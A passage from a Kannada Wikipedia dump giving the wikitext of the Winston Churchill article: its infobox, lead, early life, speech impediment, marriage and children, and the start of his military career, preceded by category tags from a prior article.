ಸೊಸೈಟಿ ಸಂಸ್ಥೆಯ ಅಧ್ಯಕ್ಷರು]] [[ವರ್ಗ:ಬ್ರಿಟಿಷ್‌ ನೌಕಾಪಡೆಯ ನೌಕಾದಳೀಯ ಅಡ್ಮೀರಲ್‌ಗಳು]] [[ವರ್ಗ:ಬ್ರಿಟಿಷ್‌ ನೌಕಾಪಡೆ ವಿಶ್ವ ಸಮರ IIರಲ್ಲಿ ಭಾಗವಹಿಸಿದ ಅಡ್ಮೀರಲ್‌ಗಳು]] [[ವರ್ಗ:ಐರ್ಲೆಂಡ್‌‌ ಗಣರಾಜ್ಯದಲ್ಲಿ ಸಂಭವಿಸಿದ ಭಯೋತ್ಪಾದನೆಯಿಂದುಟಾದ ಸಾವುಗಳು]] [[ವರ್ಗ:ಭಾರತದ ವೈಸ್‌‌ರಾಯ್‌‌ಗಳು]] [[ವರ್ಗ:ಮಾರ್ಕ್ವಿಸ್‌‌ ಗಳ ಯುವ ಪುತ್ರರು]] [[ವರ್ಗ:ರಾಯಲ್‌ ನ್ಯಾಷನಲ್‌ ಕಾಲೇಜ್‌ ಫಾರ್‌‌ ಬ್ಲೈಂಡ್‌‌ ಮಹಾವಿದ್ಯಾಲಯಕ್ಕೆ ಸಂಬಂಧಪಟ್ಟ ಜನರು]] [[ವರ್ಗ:ಆರ್ಡರ್‌ ಆಫ್‌ ದ ಡ್ಯಾನೆಬ್ರಾಗ್‌ನ ಗ್ರ್ಯಾಂಡ್‌ ಕ್ರಾಸ್‌‌ ನೈಟ್‌ಹುಡ್‌ ಪದವಿಧರರು]] [[ವರ್ಗ:ಭಾರತೀಯ ಸ್ವಾತಂತ್ರ್ಯ ಚಳುವಳಿ]] [[ವರ್ಗ:ಭಾರತದ ಇತಿಹಾಸ]] hskv1t1burd25047d1srw0fe6njwcil ವಿನ್‌ಸ್ಟನ್‌ ಚರ್ಚಿಲ್‌ 0 29669 1116469 1083061 2022-08-23T13:15:37Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{ಯಂತ್ರಾನುವಾದ}} {{ಧಾಟಿ}} {{Infobox prime minister |honorific-prefix={{small|[[ದ ರೈಟ್ ಆನರಬಲ್]]}}<br /> |name=ಸರ್ ವಿಂಸ್ಟನ್ ಚರ್ಚಿಲ್ |honorific-suffix=<br />{{small|[[Knight of the Garter|KG]] [[Order of Merit|OM]] [[Companion of Honour|CH]] [[Territorial Decoration|TD]] [[Queen's Privy Council for Canada|PC]] [[Deputy Lieutenant|DL]] [[Fellow of the Royal Society|FRS]]}}<br /> |image=Sir Winston S Churchill.jpg |imagesize=245px |order=[[ಯುನೈಟೆಡ್ ಕಿಂಗ್ಡಮ್ ಪ್ರಧಾನ ಮಂತ್ರಿ]] |term_start=೨೬ ಅಕ್ಟೋಬರ್ ೧೯೫೧ |term_end=೭ ಏಪ್ರಿಲ್ ೧೯೫೫ |monarch=[[George VI of the United Kingdom|ಆರನೆಯ ಜಾರ್ಜ್]]<br />[[Elizabeth II]] |deputy=[[ಆಂಥನಿ ಈಡನ್]] |predecessor=[[ಕ್ಲೆಮೆಂಟ್ ಆಟ್ಲೀ]] |successor=[[ಆಂಥನಿ ಈಡನ್]] |term_start2=10 May 1940 |term_end2=26 July 1945 |deputy2=[[ಕ್ಲೆಮೆಂಟ್ ಆಟ್ಲೀ]] |monarch2=[[George VI]] |predecessor2=[[Neville Chamberlain]] |successor2=[[Clement Attlee]] |order3=ಚಾಂಸಲರ್ ಆಫ್ ದಿ ಎಕ್ಸ್ಚೆಕ್ವೆರ್ |term_start3=6 November 1924 |term_end3=4 June 1929 |primeminister3=[[Stanley Baldwin]] |predecessor3=[[Philip Snowden, 1st Viscount Snowden|Philip Snowden]] |successor3=[[Philip Snowden]] |order4=[[Home Secretary]] |term_start4=19 February 1910 |term_end4=24 October 1911 |primeminister4=[[H. H. Asquith|Herbert Henry Asquith]] |predecessor4=[[Herbert Gladstone, 1st Viscount Gladstone|Herbert Gladstone]] |successor4=[[Reginald McKenna]] |order5=[[Member of Parliament]]<br />for [[Woodford (UK Parliament constituency)|Woodford]] |term_start5=5 July 1945 |term_end5=15 October 1964 |predecessor5=New constituency |successor5=[[Patrick Jenkin]] |order6=[[Member of Parliament]]<br />for [[Epping (UK Parliament constituency)|Epping]] |term_start6=29 October 1924 |term_end6=5 July 1945 |predecessor6=[[Sir Leonard Lyle]] |successor6=[[Leah Manning]] |order7=[[Member of Parliament]]<br />for [[Dundee (UK Parliament constituency)|Dundee]]<br />{{small|with [[Alexander Wilkie]]}} |term_start7=24 April 1908 |term_end7=15 November 1922 |predecessor7=[[Alexander Wilkie]]<br />[[Edmund Robertson]] |successor7=[[E. D. Morel|Edmund Morel]]<br />[[Edwin Scrymgeour]] |order8=[[Member of Parliament]]<br />for [[Manchester North West (UK Parliament constituency)|Manchester North West]] |term_start8=8 February 1906 |term_end8=24 April 1908 |predecessor8=[[William Houldsworth]] |successor8=[[William Joynson-Hicks]] |order9=[[Member of Parliament]]<br />for [[Oldham (UK Parliament constituency)|Oldham]]<br />with [[Alfred Emmott, 1st Baron Emmott|Alfred Emmott]] |term_start9=24 October 1900 |term_end9=12 January 1906 |predecessor9=[[Walter Runciman, 1st Viscount Runciman of Doxford|Walter Runciman]]<br />[[Alfred Emmott, 1st Baron Emmott|Alfred Emmott]] |successor9=[[Alfred Emmott]]<br />[[John Albert Bright]] |birthname=ವಿಂಸ್ಟನ್ ಲಿಯನಾರ್ಡ್ ಸ್ಪೆನ್ಸರ್-ಚರ್ಚಿಲ್ |birth_date={{Birth date|1874|11|30|df=y}} |birth_place=ಬ್ಲೆನ್ಹೈಮ್ ಅರಮನೆ, ವುಡ್ಸ್ಟಾಕ್, ಆಕ್ಸ್ಫ಼ರ್ಡ್ಶಯರ್, ಯು.ಕೆ |death_date={{Death date and age|1965|01|24|1874|11|30|df=y}} |death_place=ಹೈಡ್ ಪಾರ್ಕ್ ಗೇಟ್, ಲಂಡನ್ |restingplace=[[St Martin's Church, Bladon]], Oxfordshire |restingplacecoordinates= |nationality=ಬ್ರಿಟಿಷ್ |party=[[Conservative Party (UK)|Conservative]] (1900–04, 1924–64)<br />[[Liberal Party (UK)|Liberal]] (1904–24) |spouse ={{marriage|[[Clementine Churchill, Baroness Spencer-Churchill|Clementine Churchill]]|12 September 1908|24 January 1965}} |relations=[[Lord Randolph Churchill]] (father)<br />[[Lady Randolph Churchill]] (mother)<br />[[John Strange Spencer-Churchill]] (brother)<br />[[Pamela Harriman]] (former daughter-in-law)<br />[[Winston Churchill (grandson)|Winston Churchill]] (grandson) |children=ಡಯಾನ ಚರ್ಚಿಲ್<br />ರಾಂಡಾಲ್ಫ್ ಚರ್ಚಿಲ್<br />ಸಾರಹ್ ಟೂಷೆ-ಜೆಸ್ಸನ್<br />ಮಾರಿಗೋಲ್ಡ್ ಚರ್ಚಿಲ್<br />ಮೇರಿ ಸೋಮ್ಸ್ |residence=[[10 Downing Street]] (Official)<br />[[Chartwell]] (Private) |alma_mater=ಹ್ಯಾರೋ ಶಾಲೆ, ರಾಯಲ್ ಮಿಲಿಟರಿ ಅಕ್ಯಾಡಮಿ, ಸ್ಯಾಂಡಹರ್ಸ್ಟ್ |occupation= |profession=Member of Parliament, statesman, soldier, journalist, historian, author, painter |religion=[[Anglican]] |footnotes= |allegiance=[[ಬ್ರಿಟೀಷ್ ಸಾಮ್ರಾಜ್ಯ]] |branch=ಬ್ರಿಟಿಷ್ ಸೇನೆ |serviceyears=1895–1900, 1902–24 |rank=[[Lieutenant-Colonel]] |awards=[[File:Sovereign of the Order of Merit ribbon.svg|20px]] [[Order of Merit]]<br />[[File:Order of Companions of Honour ribbon.png|20px]] [[Order of the Companions of Honour|Companion of Honour]]<br />[[File:India Medal BAR.svg|20px]] [[India Medal]]<br />[[File:Queens Sudan Medal BAR.svg|20px]] Queen's Sudan Medal<br />[[File:Queens South Africa Medal 1899-1902 ribbon.png|20px]] [[Queen's South Africa Medal]]<br />[[File:1914 Star BAR.svg|20px]] [[1914–15 Star]]<br />[[File:British War Medal BAR.svg|20px]] [[British War Medal]]<br />[[File:Allied Victory Medal BAR.svg|20px]] [[Victory Medal (United Kingdom)|Victory Medal]]<br />[[File:Territorial Decoration (UK) ribbon.PNG|20px]] [[Territorial Decoration]] |battles=[[Third Anglo-Afghan War|Anglo-Afghan War]]<br />*[[Siege of Malakand]]<br />[[Mahdist War]]<br />*[[Battle of Omdurman]]<br />[[Second Boer War]]<br />*[[Siege of Ladysmith]]<br />[[World War I|First World War]]<br />*[[Western Front (World War I)|Western Front]] }} '''ಸರ್ ವಿನ್‌ಸ್ಟನ್ ಲಿಯೋನಾರ್ಡ್ ಸ್ಪೆನ್ಸರ್- ಚರ್ಚಿಲ್‌''' , (೩೦ ನವೆಂಬರ್ ೧೮೭೪ – ೨೪ ಜನವರಿ ೧೯೬೫) ಬ್ರಿಟೀಷ್ ರಾಜಕಾರಣಿ, ಮುತ್ಸದ್ದಿ, ಉತ್ತಮ ವಾಗ್ಮಿ, ಇತಿಹಾಸಕಾರ, ಬರಹಗಾರ, ಕಲಾವಿದ. [[ಎರಡನೇ ಮಹಾಯುದ್ಧ|ಎರಡನೆಯ ಮಹಾಯುದ್ಧ]]ದ ಸಮಯದಲ್ಲಿ ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಮ್‌ನ ಮುಂದಾಳುತ್ವ ವಹಿಸಿ, ಸೋಲಿನ ದವಡೆಯಿಂದ ವಿಜಯದೆಡೆಗೆ ನಡೆಸಿ ಪ್ರಸಿದ್ಧರಾದವರು. ಬ್ರಿಟೀಷ್ ಸೈನ್ಯದಲ್ಲಿ ಅಧಿಕಾರಿಯಾಗಿಯೂ ಸೇವೆ ಸಲ್ಲಿಸಿದವರು. ಎರಡು ಬಾರಿ(೧೯೪೦–೪೫ ಮತ್ತು ೧೯೫೧–೫೫) ಪ್ರಧಾನಮಂತ್ರಿಯಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದವರು. ಇಲ್ಲಿಯವರೆಗೆ [[ಸಾಹಿತ್ಯದಲ್ಲಿ ನೊಬೆಲ್ ಪ್ರಶಸ್ತಿ|ಸಾಹಿತ್ಯದಲ್ಲಿ ನೋಬೆಲ್ ಪಾರಿತೋಷಕ]] ಪಡೆದ ಏಕೈಕ ಬ್ರಿಟೀಷ್ ಪ್ರಧಾನಮಂತ್ರಿ ಮತ್ತು ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಗೌರವ ನಾಗರಿಕತ್ವ ಪಡೆದ ಮೊದಲ ವ್ಯಕ್ತಿ.<ref>{{cite web|title=Winston Churchill|url=http://www.senate.gov/reference/resources/pdf/pl8806.pdf|work=Pub.L. 86-6|publisher=U.S. Senate|accessdate=17 March 2011|date=9 April 1963}}</ref> ==ಕುಟುಂಬ ಮತ್ತು ಆರಂಭಿಕ ಜೀವನ== [[File:Churchill 1881 ZZZ 7555D.jpg|thumb|left|upright|1881ರಲ್ಲಿ ಚರ್ಚಿಲ್ ವಯಸ್ಸು 11]] ಚರ್ಚಿಲ್‌ ಹುಟ್ಟಿದ್ದು ಡ್ಯೂಕ್‌ನ ಮಾರ್ಲ್‌ಬೋರೊದಲ್ಲಿ ಒಂದು ಸ್ಪೆನ್ಸರ್ ಎಂಬ ಪ್ರತಿಷ್ಟಿತ ಶ್ರೀಮಂತ ಕುಟುಂಬದಲ್ಲಿ. ತಂದೆ ಲಾರ್ಡ್ ರಾಂಡೊಲ್ಫ್‌ ಚರ್ಚಿಲ್‌ ರಾಜಕಾರಣದಲ್ಲಿ ಸಕ್ರಿಯರಾಗಿದ್ದು, ಎಕ್ಸ್‌ಚೆಕ್ವೇರ್‌ನ ಚಾನ್ಸಲರ್ ಆಗಿದ್ದರು.ತಾಯಿ ಜೆನ್ನಿ ಜೆರೋಮ್ ಅಮೆರಿಕಾದ ಸಾಮಾಜಿಕ ಜಗತ್ತಿನಲ್ಲಿ ಹೆಸರಾದವರಾಗಿದ್ದರು. ೧೮೧೭ರಲ್ಲಿ ವಿನ್ಸ್ ಟನ್ ಅಜ್ಜ , ಜಾರ್ಜ್ ಸ್ಪೆನ್ಸರ್ , ತಮ್ಮ ಅಡ್ಡ ಹೆಸರನ್ನು ಚರ್ಚಿಲ್‌ ಎಂದು ಬದಲಾಯಿಸಿದರು. ವಿನ್ಸ್‍ಟನ್‍ನ ಏಕಮಾತ್ರ ಸೋದರ ಜಾನ್‍ಸ್ಟ್ರೇಂಜ್ ಸ್ಪೆನ್ಸರ್ - ಚರ್ಚಿಲ್‌. [[File:Blenheim main entrance.jpg|thumb|left|ಬ್ಲೆನ್ಹೈಮ್ ಅರಮನೆ, ಚರ್ಚಿಲ್‌ ಕುಟುಂಬದ ವಾಸಸ್ಥಾನ]] ಇವರು ಸ್ವತಂತ್ರ ಹಾಗೂ ಬಂಡಾಯದ ಸ್ವಭಾವ ಹೊಂದಿದ್ದು, ಶಾಲೆಯಲ್ಲಿ ಹಿಂದುಳಿದಿದ್ದರು. ಆಗಾಗ ಇದಕ್ಕಾಗಿ ಶಿಕ್ಷೆಗೆ ಗುರಿಯಾಗುತ್ತಿದ್ದರು. ಇವರು ಮೂರು ಸ್ವತಂತ್ರ ಶಾಲೆಗಳಲ್ಲಿ ಅಧ್ಯಯನ ನಡೆಸಿದ್ದಾರೆ: ಬೆರ್ಕ್‌ಶಾಯರ್‌ನಲ್ಲಿನ ಆ‍ಯ್‌ಸ್ಕಾಟ್‌ನ ಸೇಂಟ್ ಜಾರ್ಜ್ಸ್‍ಸ್ಕೂಲ್, ಬ್ರಿಗ್ಟನ್‌ ಸಮೀಪದ ಹೋವೆಯಲ್ಲಿರುವ ಬ್ರನ್ಸ್‌ವಿಕ್ ಸ್ಕೂಲ್, ಮತ್ತು ನಂತರದಲ್ಲಿ ಏಪ್ರಿಲ್ ೧೭ ೧೮೮೮ರಿಂದ ಹಾರೊ ಸ್ಕೂಲ್‌ಗೆ ಬದಲಾದರು. ಇಲ್ಲಿಂದ ಅವರ ಮಿಲಿಟರಿ ಜೀವನ ಪ್ರಾರಂಭವಾಯಿತು. ನಂತರ ಇಂಗ್ಲಿಷ್ ಮತ್ತು ಇತಿಹಾಸದಲ್ಲಿ ಅತಿ ಹೆಚ್ಚು ಅಂಕ ಪಡೆದರು ಹಾಗೂ ಶಾಲೆಯ ಕತ್ತಿವರಸೆ ವಿಜೇತರಾದರು. ಇವರ ತಾಯಿ ಬಹಳ ಅಪರೂಪವಾಗಿ ಇವರನ್ನು ಭೇಟಿಯಾಗುತ್ತಿದ್ದರು(ಲೇಡಿ ರಾಂಡೊಲ್ಫ್‌ ಚರ್ಚಿಲ್) ಮೊದಲಿಗೆ ಶಾಲೆಗೆ ಬರುವಂತೆ ಅಥವಾ ತಮ್ಮನ್ನು ಮನೆಗೆ ಬರಲು ಅನುಮತಿಸುವಂತೆ ಪತ್ರವನ್ನು ಬರೆಯುತ್ತಿದ್ದರು. ತಂದೆ ಮತ್ತು ಮಗನ ಸಂಬಂಧದ ಮಧ್ಯೆ ಅಂತರವಿತ್ತು; ಒಮ್ಮೆ ಮಾತ್ರ ಇಬ್ಬರು ಪರಸ್ಪರ ಟೀಕಿಸಿದರು.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟಗಳು. ೧೦–೧೧</ref> ಏಕೆಂದರೆ ತಂದೆ-ತಾಯಿಯ ಜೊತೆಗೆ ಬಾಂದವ್ಯದ ಕೊರತೆ ಇದ್ದುದರಿಂದ ಚರ್ಚಿಲ್ ದಾದಿ ಎಲಿಜಬೆತ್ ಆ‍ಯ್‌ನ್ ಎವರೆಸ್ಟ್‌ರನ್ನು ಹಚ್ಚಿ ಕೊಂಡಿದ್ದರು. ಇವರನ್ನು "ಓಲ್ಡ್ ವುಮ್" ಎಂದು ಕರೆಯುತ್ತಿದ್ದರು.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟ. ೧೦</ref> ಇವರ ತಂದೆ ತಮ್ಮ ೪೫ನೇ ವಯಸ್ಸಿನಲ್ಲಿ ಜನವರಿ ೨೪, ೧೮೯೫ರಂದು ತೀರಿಕೊಂಡರು. ಇದು ಚರ್ಚಿಲ್‌ರಿಗೆ ತಾವೂ ಕೂಡ ಚಿಕ್ಕ ವಯಸ್ಸಿನ ಲ್ಲಿಯೇ ಮರಣವನ್ನು ಹೊಂದಬಹುದು ಎಂಬ ಭಾವನೆಗೆ ಆಸ್ಪದವನ್ನು ನೀಡಿತು ಮತ್ತು ಆದರಿಂದ ಅವರು ಜಗತ್ತಿನಲ್ಲಿ ತಮ್ಮ ಛಾಪನ್ನು ಮೂಡಿಸುವಲ್ಲಿ ಶೀಘ್ರಗತಿಯಲ್ಲಿ ಕಾರ್ಯನಿರತರಾದರು.<ref>ಹ್ಯಾಫ್‌ನರ್, [https://books.google.com/books?id=FI2LNFtBLasC&amp;pg=PA32&amp;dq=die+young ಪುಟ 32]</ref> ===ಮಾತಿನಲ್ಲಿ ತೊದಲುವಿಕೆ=== ೧೯೨೦–೧೯೪೦ ರ ಸಮಯದ ಹಲವಾರು ಲೇಕಖರು ಚರ್ಚಿಲ್‌ ಉಗ್ಗುತ್ತಿದ್ದರೆಂದು ಉಲ್ಲೇಖಿಸಿದ್ದಾರೆ;<ref>{{cite web|url=http://www.stutterers.org|title= Churchill Stutter| publisher= Stutterers. org|date=|accessdate=9 August 2009}}</ref> ಮತ್ತು ಚರ್ಚಿಲ್‌ ಸ್ವತಃ ತಮಗೆ "ಮಾತನಾಡುವಲ್ಲಿ ತೊಂದರೆಯಿತ್ತು" ನಿರಂತರವಾಗಿ ಇದರಿಂದ ಹೊರಬರುವ ಪ್ರಯತ್ನ ನಡೆಸುತ್ತಿದ್ದರೆಂದು ವಿವರಿಸಿದ್ದಾರೆ. ಇವರ ಮಾತಿಗೆ ಒತ್ತಾಸೆ ನೀಡುವುದಕ್ಕಾಗಿಯೇ ಕೃತಕ ದಂತ ಪಂಕ್ತಿಯನ್ನು ವಿಶೇಷವಾಗಿ ಮಾಡಲಾಗಿತ್ತು(Demosthenes' pebbles).<ref>{{cite web|url=http://www. thehistoryblog.com/ archives/6954|title=Churchill's teeth sell for almost $24,000}}</ref> ಹಲವಾರು ವರ್ಷಗಳ ನಂತರ "ನನ್ನ ಉಗ್ಗುವಿಕೆ ಯಾವುದೇ ತೊಂದರೆಯುಂಟು ಮಾಡುತ್ತಿಲ್ಲ" ಎಂದು ಹೇಳಿದರು.<ref>{{cite book | url = https://books.google.com/?id=Fb3PKOd6A2cC&pg=PA162|title=Public speaking in the reshaping of... |publisher= Google books|date=1987-10|accessdate=12 April 2010|isbn= 9780874133158| author1=Oliver, Robert Tarbell}}</ref> ಹೀಗಿದ್ದಾಗ್ಯೂ, ಇದನ್ನು ದ ಚರ್ಚಿಲ್‌ ಸೆಂಟರ್ ಚರ್ಚಿಲ್‌ ಉಗ್ಗುತ್ತಿರಲಿಲ್ಲ ಎಂಬುದನ್ನು ಅಲ್ಲಗಳೆಯುತ್ತದೆ. ಇವರ ತಂದೆಯಂತೆ ''ಎಸ್ '' ಉಚ್ಚಾರ ಮಾಡುವಾಗ ಅಸ್ಪಷ್ಟಗಿರುತ್ತಿತ್ತು<ref>{{cite web|url = http://www. winstonchurchill.org/learn/reference/frequently-asked-questions-faq/personal-life| series = FAQ | title= Personal Life|accessdate= 28 August 2009| publisher =The Churchill Centre}}</ref> ಎಂಬುದನ್ನು ಸ್ಪಷ್ಟವಾಗಿ ಹೇಳುತ್ತದೆ<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟ ೭೩, ''ಡೇಲಿ ನ್ಯೂಸ್‌'' ನಲ್ಲಿ ಎಚ್‌ಡಬ್ಲು ಮ್ಯಾಸಿಂಗ್‌ಹ್ಯಾಮ್‌ನ ಉಲ್ಲೇಖ</ref> ===ಮದುವೆ ಮತ್ತು ಮಕ್ಕಳು=== ಚರ್ಚಿಲ್‌ ೧೯೦೪ರಲ್ಲಿ ಕ್ರ್ಯೂ ಹೌಸ್‌ನಲ್ಲಿ ತಮ್ಮ ಭಾವಿ ಪತ್ನಿ ಕ್ಲೆಮಂಟೈನ್ ಹೋಜಿಯರ್‌ರನ್ನು ಅರ್ಲ್ ಆಫ್ ಕ್ರ್ಯೂ ಮತ್ತು ಕ್ರ್ಯೂ ಪತ್ನಿ ಮಾರ್ಗರೇಟ್ (ಐದನೇಯ ಆರ್ಲ್ ಆಫ್ ರೋಸ್‌ಬೆರಿ ಆರ್ಚಿಬಾಲ್ಡ್ ಪ್ರಿಮ್‌ರೋಸ್ ಮಗಳು) ಮನೆಯಲ್ಲಿ ಭೇಟಿ ಮಾಡಿದರು.<ref>ಸೊಯಾಮೆಸ್, ಮೇರಿ: ''ಸ್ಪೀಕಿಂಗ್ ಫಾರ್ ದೆಮ್‌ಸೆಲ್ವಸ್: ವಿನ್‌ಸ್ಟನ್ ಮತ್ತು ಕ್ಲೆಮಂಟೈನ್‌ರ ವೈಯುಕ್ತಿಕ ಪತ್ರಗಳು'' . ಪುಟ ೧</ref> ೧೯೦೮ರಲ್ಲಿ ಲೇಡಿ ಸೇಂಟ್ ಹೇಲಿಯರ್ ಆಯೋಜಿಸಿದ್ದ ಔತಣಕೂಟದಲ್ಲಿ ಮತ್ತೆ ಬೇಟಿಯಾದರು. ಚರ್ಚಿಲ್‌ ತಾವಾಗಿಯೇ ಕ್ಲೆಮಂಟೈನ್ ಪಕ್ಕದಲ್ಲಿ ಆಸೀನರಾದರು ಮತ್ತು ಅತಿ ಶೀಘ್ರದಲ್ಲೊಯೇ ಜೀವನ ಪರ್ಯಂತದ ಸಂಗಾತಿಗಳಾದರು.<ref>ಸೊಯಾಮೆಸ್ ಪುಟ ೬</ref> ೧೦ ಅಗಸ್ಟ್ ೧೯೦೮ರಂದು ಬ್ಲೆನ್ಹೈಮ್ ಅರಮನೆಯಲ್ಲಿ ನಡೆದ ಔತಣಕೂಟದಲ್ಲಿ ಟೆಂಪಲ್ ಆಫ್ ಡಯಾನಾ ನೀಡಿ ಆಕೆಗೆ ಪ್ರೊಪೋಸ್ ಮಾಡಿದರು.<ref>ಸೊಯಾಮೆಸ್ ಪುಟಗಳು. ೧೪–೧೫</ref> ೧೨ ಸೆಪ್ಟೆಂಬರ್ ೧೯೦೮ರಲ್ಲಿ ಸೇಂಟ್ ಮಾರ್ಗರೇಟ್ ವಿಸ್ಟ್‌ಮಿನ್ಟರ್‌ನಲ್ಲಿ ಅವರಿಬ್ಬರು ಮದುವೆಯಾದರು. ಚರ್ಚ್ ಜನರಿಂದ ಕಿಕ್ಕಿರಿದಿತ್ತು; ಬಿಷಪ್ ಆಫ್ ಸೇಂಟ್ ಅಸಾಫ್ ಇದನ್ನು ನೆರವೇರಿಸಿದರು.<ref>ಸೊಯಾಮೆಸ್ ಪುಟ ೧೭</ref> ಮಾರ್ಚ್ ೧೯೦೯ರಲ್ಲಿ ಈ ಜೋಡಿ ೩೩ ಎಕ್ಲೆಸ್ಟನ್ ಸ್ಕ್ವಾರ್‌ಗೆ ತೆರಳಿದರು. ಇವರ ಮೊದಲ ಮಗು ಡಯಾನ್ ಜುಲೈ ೧೧ ೧೯೦೯ರಂದು ಲಂಡನ್‌ನಲ್ಲಿ ಜನಿಸಿದಳು. ಕ್ಲೆಮಂಟೈನ್ ಬಸಿರು ಮುಗಿದ ನಂತರ ಸಸೆಕ್ಸ್‌ಗೆ ತೆರಳಿದರು, ಆಗ ಡಯಾನಾ ದಾದಿಯ ಜೊತೆಗೆ ಲಂಡನ್‌ನಲ್ಲಿದ್ದಳು.<ref>ಸೊಯಾಮೆಸ್ ಪುಟಗಳು. ೧೮, ೨೨, ೨೫</ref> ೨೮ ಮೇ ೧೯೧೧ನಲ್ಲಿ ಇವರ ಎರಡನೆಯ ಮಗು ರಾಂಡೊಲ್ಫ್‌, ೩೩ ಎಕ್ಲೆಸ್ಟನ್ ಸ್ಕ್ವಾರ್‌‌ನಲ್ಲಿ ಜನಿಸಿದನು.<ref>ಸೊಯಾಮೆಸ್ ಪುಟಗಳು. ೪೦, ೪೪</ref> ಇವರ ಮೂರನೇಯನೆಯ ಮಗು ಸರಾಹ್ ೭ ಅಕ್ಟೋಬರ್ ೧೯೧೪ ರಂದು ಅಡ್ಮಿರಾಲ್ಟಿ ಹೌಸ್‌ನಲ್ಲಿ ಜನನ. ಜನನದ ಜೊತೆಗೆ ಕ್ಲೆಮಂಟೈನ್‌ಗೆ ಆತಂಕವನ್ನು ತಂದಿತ್ತು, " ನಗರಕ್ಕೆ ಮುತ್ತಿಗೆ ಹಾಕುವುದಕ್ಕೆ ಬಲವಾದ ಪ್ರತಿರೋಧ ವ್ಯಕ್ತವಾಗಿ" ಬೆಲ್ಜಿಯನ್ನರು ಪಟ್ಟಣವನ್ನು ಶರಣಾಗತ ಮಾಡಲು ಉದ್ದೇಶಿಸಿದ ಸುದ್ಧಿ ಕೇಳಿ ವಿನ್ಸ್‌ಟನ್ ಕ್ಯಾಬಿನೇಟ್ ಪರವಾಗಿ ಆ‍ಯ್‌೦ಟ್‌ವರ್ಪ್‌ಗೆ ತೆರಳಿದ್ದರು.<ref>ಸೊಯಾಮೆಸ್ ಪುಟ. ೧೦೫</ref> ಕ್ಲೆಮಂಟೈನ್ ೧೫ ನವೆಂಬರ್ ೧೯೧೮ , ಮೊದಲ ಜಾಗತಿಕ ಯುದ್ಧ ಅಧಿಕೃತವಾಗಿ ಮುಗಿದ ನಾಲ್ಕು ದಿನಗಳ ತರುವಾಯ ನಾಲ್ಕನೇಯ ಮಗು ಮಾರಿಗೋಲ್ಡ್ ಫ್ರಾನ್ಸಿಸ್ ಚರ್ಚಿಲ್‌‌ಗೆ ಜನ್ಮವಿತ್ತರು.<ref>ಸೊಯಾಮೆಸ್ ಪುಟ. ೨೧೭</ref> ೧೯೨೧ರ ಅಗಸ್ಟ್ ತಿಂಗಳ ಮೊದಲಿನ ದಿನಗಳಲ್ಲಿ ಚರ್ಚಿಲ್‌‌ರ ಮಕ್ಕಳನ್ನು ಕೆಂಟ್ ಹೆಸರಿನ Mlle ರೋಸ್‌ ಫ್ರೆಂಚ್ ನರ್ಸರಿ ಗವರ್ನೆಸ್‌ಗೆ ಒಪ್ಪಿಸಲಾಯಿತು. ಈ ನಡುವೆ ಕ್ಲೆಮಂಟೈನ್ ೨ನೇಯ ಡ್ಯೂಕ್ ಆಫ್ ವೆಸ್ಟ್‌ಮಿನ್ಸ್ಟರ್ ಹ್ಯೂ ಗ್ರಾಸ್‌ವೆನರ್ ಮತ್ತು ಅವರ ಕುಟುಂಬದ ಜೊತೆಗೆ ಈಟನ್ ಹಾಲ್‌ ಗೆ ಟೆನ್ನಿಸ್ ಆಡಲು ತೆರಳಿದರು. ಆಗಲೂ Mlle ರೋಸ್ ಆರೈಕೆಯಲ್ಲಿ ಮಕ್ಕಳಿದ್ದರು. ಈ ಸಮಯದಲ್ಲಿ ಮಾರಿಗೋಲ್ಡ್ ಶೀತದಿಂದ ಬಳಲುತ್ತಿದ್ದರು, ಆದರೆ ಅನಾರೋಗ್ಯದಿಂದ ಚೇತರಿಸಿಕೊಂಡ ನಂತರದಲ್ಲಿ ವರದಿ ನೀಡಲಾಯಿತು. ಯಾವುದೇ ಮುನ್ಸೂಚನೆ ನೀಡದೆ ಅನಾರೋಗ್ಯ ಹೆಚ್ಚಾಗಿ ರಕ್ತ ವಿಷವಾಗಿ ತಿರುಗಿತು. ಯಜಮಾನಿಯ ಸಲಹೆ ಅನುಸರಿಸಿ ರೋಸ್ ಕ್ಲೆಮಂಟೈನ್‌ಗೆ ಕರೆ ನೀಡಿದರು. ಆದರೆ ಅನಾರೋಗ್ಯವು ೨೩ ಅಗಸ್ಟ್ ೧೯೨೧ರಂದು ಮರಣ ತಂದಿತು. ಮೂರು ದಿನಗಳ ನಂತರ ಮಾರಿಗೋಲ್ಡ್‌ನನ್ನು ಕೆನ್ಸಲ್ ಗ್ರೀನ್ ಸೆಮೆಟರಿಯಲ್ಲಿ ಸಮಾಧಿ ಮಾಡಲಾಯಿತು.<ref>ಸೊಯಾಮೆಸ್ ಪುಟಗಳು. ೨೩೯, ೨೪೧</ref> ೧೫&nbsp;ಸೆಪ್ಟೆಂಬರ್ ೧೯೨೨ರಂದು ಚರ್ಚಿಲ್‌ರ ಕೊನೆಯ ಮಗು ಮೇರಿ ಜನಿಸಿದಳು. ತಿಂಗಳ ಕೊನೆಯಲ್ಲಿ ಚರ್ಚಿಲ್ ಚಾರ್ಟ್‌ವೆಲ್ ಖರೀದಿಸಿದರು. ೧೯೬೫ರಲ್ಲಿ ಅವರು ಸಾಯುವವರೆಗೂ ಅದು ವಿನ್ಸ್‌ಟನ್ ಮನೆಯಾಗಿತ್ತು.<ref>ಸೊಯಾಮೆಸ್ ಪುಟ. ೨೬೨</ref><ref>{{cite web|last=Crowhurst|first=Richard|year=2006|accessdate=9 January 2008|title=Chartwell: Churchill's House of Refuge|url=http://www.timetravel-britain.com/06/Oct/chartwell.shtml|publisher=Moira Allen}}</ref> ==ಸೇನಾ ಸೇವೆ== [[File:Churchhill 03.jpg|thumb|left|1895 ಚರ್ಚಿಲ್ ಸೈನ್ಯದ ಉಡುಪಿನಲ್ಲಿ]] * ೧೮೯೩ಲ್ಲಿ ಹಾರೊ ಬಿಟ್ಟ ನಂತರ ಚರ್ಚಿಲ್‌ ರಾಯಲ್ ಮಿಲಿಟರಿ ಸ್ಕೂಲ್,ಸ್ಯಾಂಡ್‌ಹರ್ಸ್ಟ್{‌/0}ಗೆ ಸೇರಿಕೊಳ್ಳಲು 